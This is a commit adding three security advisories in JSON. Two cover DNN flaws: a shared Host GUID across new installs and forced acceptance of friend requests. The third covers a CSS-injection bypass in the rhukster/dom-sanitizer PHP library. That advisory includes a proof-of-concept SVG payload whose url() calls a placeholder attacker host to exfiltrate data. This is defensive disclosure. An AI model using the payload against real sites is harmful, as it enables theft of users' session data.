Skip to content

Commit 7919deb

Browse files
1 parent aff88db commit 7919deb

3 files changed

Lines changed: 176 additions & 0 deletions

File tree

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2rhw-gw3f-477j",
4+
"modified": "2026-04-10T21:07:13Z",
5+
"published": "2026-04-10T21:07:13Z",
6+
"aliases": [],
7+
"summary": "DNN: Same HostGUID for all new installs",
8+
"details": "All new installations DNN 10.x.x - 10.2.1 installs, have the same Host GUID. This does not affect upgrades from 9.x.x.",
9+
"severity": [],
10+
"affected": [
11+
{
12+
"package": {
13+
"ecosystem": "NuGet",
14+
"name": "DotNetNuke.Core"
15+
},
16+
"ranges": [
17+
{
18+
"type": "ECOSYSTEM",
19+
"events": [
20+
{
21+
"introduced": "10.0.0"
22+
},
23+
{
24+
"fixed": "10.2.2"
25+
}
26+
]
27+
}
28+
]
29+
}
30+
],
31+
"references": [
32+
{
33+
"type": "WEB",
34+
"url": "https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-2rhw-gw3f-477j"
35+
},
36+
{
37+
"type": "PACKAGE",
38+
"url": "https://github.com/dnnsoftware/Dnn.Platform"
39+
},
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v10.2.2"
43+
}
44+
],
45+
"database_specific": {
46+
"cwe_ids": [
47+
"CWE-330"
48+
],
49+
"severity": "LOW",
50+
"github_reviewed": true,
51+
"github_reviewed_at": "2026-04-10T21:07:13Z",
52+
"nvd_published_at": null
53+
}
54+
}
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-93vf-569f-22cq",
4+
"modified": "2026-04-10T21:08:31Z",
5+
"published": "2026-04-10T21:08:30Z",
6+
"aliases": [],
7+
"summary": "rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives",
8+
"details": "### Summary\nDOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n <style>* { background: url(https://attacker.example/collect); }</style>\n</svg>\n```\n\n### PoC\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\"><style>* { background: url(https://attacker.example/collect); }</style></svg>';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer->sanitize($svg);\necho $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "rhukster/dom-sanitizer"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.0.10"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/rhukster/dom-sanitizer"
48+
},
49+
{
50+
"type": "WEB",
51+
"url": "https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-79"
57+
],
58+
"severity": "MODERATE",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-04-10T21:08:30Z",
61+
"nvd_published_at": null
62+
}
63+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fpj4-9qhx-5m6m",
4+
"modified": "2026-04-10T21:07:08Z",
5+
"published": "2026-04-10T21:07:08Z",
6+
"aliases": [],
7+
"summary": "DNN: Force Friend Request Acceptance",
8+
"details": "In the friends feature, a user could craft a request that would force the acceptance of a friend request on another user.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "NuGet",
19+
"name": "DotNetNuke.Core"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "6.0.0"
27+
},
28+
{
29+
"fixed": "10.2.2"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-fpj4-9qhx-5m6m"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/dnnsoftware/Dnn.Platform"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v10.2.2"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-285"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-10T21:07:08Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)